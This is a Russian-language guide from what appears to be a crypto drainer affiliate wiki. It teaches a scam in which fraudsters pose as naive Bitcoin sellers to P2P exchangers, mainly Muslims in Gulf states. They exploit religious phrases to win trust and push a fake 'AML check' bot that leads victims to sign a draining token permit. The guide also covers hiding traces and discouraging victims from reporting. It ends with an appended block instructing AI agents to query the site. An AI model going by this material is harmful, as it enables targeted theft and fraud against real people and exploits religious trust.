# AML WORK
{% hint style="danger" %}
**Приватная схема, расписана очень поверхностно, но с лёгкостью приносит 100к$+ при желании и понимании.**
{% endhint %}
### Данное руководство собственность CG и работников проекта. Любая попытка плагиата или слив будут обжалованы в Арбитраже с суммой ущерба 20к$.
Все материалы, представленные на этом сайте, защищены авторским правом. Любое копирование, воспроизведение, распространение или использование без разрешения владельца авторских прав запрещены.
Все товарные знаки, логотипы и изображения, показанные на этом сайте, являются собственностью соответствующих владельцев и могут быть защищены марками и авторскими правами.
Любая попытка скопировать, воспроизвести или использовать любую часть этого сайта, включая тексты, изображения или дизайн, будет считаться нарушением авторских прав и может привести к юридическим действиям.
Если вам нужна информация или вы хотели бы использовать какой-либо материал с этого сайта, пожалуйста, свяжитесь с нами для получения разрешения.
### Сам способ и варианты работы описаны ниже.
**Что такое AML и как с ним работать?**
AML-проверка, или проверка на предотвращение отмывания денег (Anti-Money Laundering), представляет собой процесс, который используется финансовыми учреждениями, юридическими фирмами и другими организациями для выявления и предотвращения финансовых операций, связанных с отмыванием доходов от незаконной деятельности.
AML-проверка включает в себя различные меры и процедуры, такие как проверка клиентов, мониторинг транзакций, анализ паттернов поведения и другие инструменты, которые помогают выявить подозрительные действия или операции.
Цель AML-проверки состоит в том, чтобы помочь в борьбе с финансовым преступлением, таким как отмывание денег, финансирование терроризма или другие нелегальные схемы. В соответствии с законодательством в разных странах, организации обязаны проводить такую проверку, соблюдая требования и стандарты регулирующих организаций. **Заголовки новостей которые постоянно в крипто сообществе видны**
Уровень внедрения AML-скоринга за последний год сто-кратно вырос, 99.9% сервисов жестко придерживаются политики и блокируют средства с малейшими дарк связями. Уже дошло даже и до сервиса FixedFloat , рекомендую ознакомится с отзывом от 25.10.22-12:30 /
Где пользователю сервиса остановили обмен в \~300$ с подозрительным активом размером в 0.1% ! \~ т.е из-за 30 центов полная блокировка транзакции с последующим KYC / AML , зная как работает система, не исключено что говно-метрика появилась уже после перевода на сервис, т.к от получателя тоже меняется AML у отправителя на сдачу.
Любой CEX обменник и любая биржа проводит такие проверки и блокирует счета для процедуры KYC или с требованием объяснить происхождение средств. **У нас есть несколько дизайнов под AML один из которых рассмотрим ниже.** AML Check — Проверяем криптокошельки на грязные деньги Проверяя кошельки, вы защищаете себя от мошенников и ворованных монет.
Название дизайна AML Check для установки в боте () .
\\
Под этот дизайн доступен бот Телеграмм Вот [демо бота ](https://t.me/matvgroby_bot). Ваш личный менеджер сможет вам поставить такой бот с вашим доменом и настройкой. Доступно 4 языка, кол-во бесплатных проверок можно изменить при попытке проверить адресс пишет про ошибку и говорит воспользоваться вебсайтом - где ваш линк.
Продуманный сервис, продуманный способ, при наличии бота и настройке бота (можно указать поддержку по контактам в боте и уведомление с логов юзеров). \\
### Как же это работает?
Наша задача найти арбитражника который трейдит или просто обменщика. Например LocalBitcoin, Paxfull, localmonero и множество других и так же чаты и группы в Телеграмм в WatsApp, Wechat с локальными трейдерами.\\
1. Paxful: Платформа, похожая на LocalBitcoins, с широким спектром способов оплаты и возможностью покупки и продажи криптовалюты.
2. Binance P2P: P2P-платформа, предлагаемая одной из ведущих криптовалютных бирж Binance, где пользователи могут торговать криптовалютой напрямую.
3. Hodl Hodl: Децентрализованная пиринговая платформа, где пользователи могут обмениваться криптовалютой без необходимости хранить средства на платформе.
4. LocalCryptos: Платформа, предлагающая обмен криптовалюты на местную валюту и другие способы оплаты, с фокусом на безопасность и конфиденциальность.
5. CoinCola: Платформа, подобная LocalBitcoins, предлагающая обмен криптовалюты на местные валюты и другие способы оплаты.
6. BitBargain: Веб-сайт, позволяющий пользователям покупать и продавать криптовалюту напрямую, используя различные способы оплаты.
Придумываем легенду, например очень многие работают по Арабам и там миниамльное СИ и до суток общения делает большие профиты 
Например что у вас есть биткоины которые достались по наследству или же с майнинга давно лежат и вы хотите их продать, находите адресс с инактивными биткоинами и ведете общение с обменщиком и при этом нужно ему дать понять что вы не опытный и не уверенный в крипте человек. При работе с арабами можно использовать наречия которые там популярны InShaAllah и т д это добавит доверия и будет проще, если жертва будет думать что вы с ним одной веры. Говорим что хотим поменять на USDC наши биткоины, потом говорим что переживаем и что у вас например есть VIP консультант на какойто бирже и потом сообщаем, что нам сказали что внебиржевые обмены часто используються для отмыва преступных денег и что вообще можно сесть в тюрьму и без денег остаться и что теперь тебе страшно, а жадность обменщика который уже понял что вы хотите много поменять за высокий процент - сделает свое. Делайте паузы в общении и максимально проявляйте вашу не уверенность и неопытность, но говорите что Аллах всему свидетель и что вы готовы доверится, кидаете бота и говорите что вот тут вы проверяли и можете добавить скриншот (с реального серфиса PDF проверки) и что вы готовы поменять но нужно чтоб меняла имел на кошельке сумму нашего обмена и сделал обычный AML тест. Можете ссылаться на личного менеджера биржи что он сказал что так правильнее. Наш бот сообщит что бот не рабботает и даст ссылку на ваш домен которую вы указали, после авторизации нашего юзера вылезет permit и кнопка SIGN после ее нажатия вы молодец. Сети для USDC лучше выбирать типа Arbitrum или Polygon - они не часто расспрастранены, для обменов и если наш меняла уже выведет себе нужную сумму в не обычном чейне, то это покроет наш риск что он может начать сомниваться. Так как закинуть обратно или быстро вернуть это будет дорого по комиссии биржи. Рекомендую удалить бот и домен сразу же и над жертвой не издеваться, а написать что на все воля Аллаха и извинится, тогда скорее всего он даже репорт не будет кидать. Этим способом с зимы некоторые работники делают по 100-600к за подход. Главное не тупить (ну или сильно тупить) и лучше всего показывает себя ОАЭ и Саудовская Аравия и Катар. 9 из 10 жертв никуда не сообщили об инциденте. По причине что арабы и релегия делает сильно многое для их доверия и правильное последнее сообщение - результат того что они не говорят не кому, ну а так же там сразу 100% доверие при "клянусь Аллахом" и ИнШаАллах это высшая стпень доверия. С азиатами логично что не работает) \\
В исламе прощение брата по вере называется "أخوة في الإسلام" (Akhwah fil Islam) или просто "المغفرة" (Al-Maghfirah), что означает "братство в исламе" и "прощение" соответственно. В исламе стимулируется и поощряется прощение и миролюбие между мусульманами, особенно среди братьев и сестер в исламе. Мусульмане учатся прощать друг друга за ошибки, ошибки и споры, и стремятся поддерживать гармоничные и мирные отношения среди своих собратьев по вере.
Ну а так же, Дубай один из основных инвесторов метавсселенных и там очень много крипто заинтересованных юзеров. Главное продумайте свой обрах и легенду, подготовьте бота\сайт и проверьте все, так же рекомендую чучуть углубиться в культуру вашего ЦА, с китаем очень трудно обычно так как у них фаервол и они попросту не могут зайти на сайт, а все биржи у них их внутренние. При желании, чучуть креотивности легко можно сделать 500к+ на этом способе. Ежедневно на него делают минимум столько.
### Заключение.
Способ должен быть авторский и подход, для написания этой статьи я взял "интервью" у 3х работников проекта у которых суммарно более 5млн успешных выплат с этого способа, которые работают по AML и согласовал моменты которые я могу тут писать. Так как способ у каждого свой от места поиска "жертв" до токенов обмена и прочего. В приватгруппе выложу более подробный гайд с примерами общения. Можно как угодно крутить этот способ вплоть до p2p торговли на бинансе и кидать там бота (бан будет быстро) или же наоборот выступать в роли обменника и давать клиенту бота для проверки средств. Спам по тематическим группам в Телеграм "Куплю USDC по курсу +2%" и лиды сами будут писать, ну конечно текст и процент самому подкорректировать под вас.
**Всем удачи и больших профитов! Бота личного можно сделать у своего личного менеджера.**
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://read.cryptograb.wiki/cryptograb-automatic-affiliate/wiki-cryptograb/nashi-offery/tron-drainer/aml-work.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.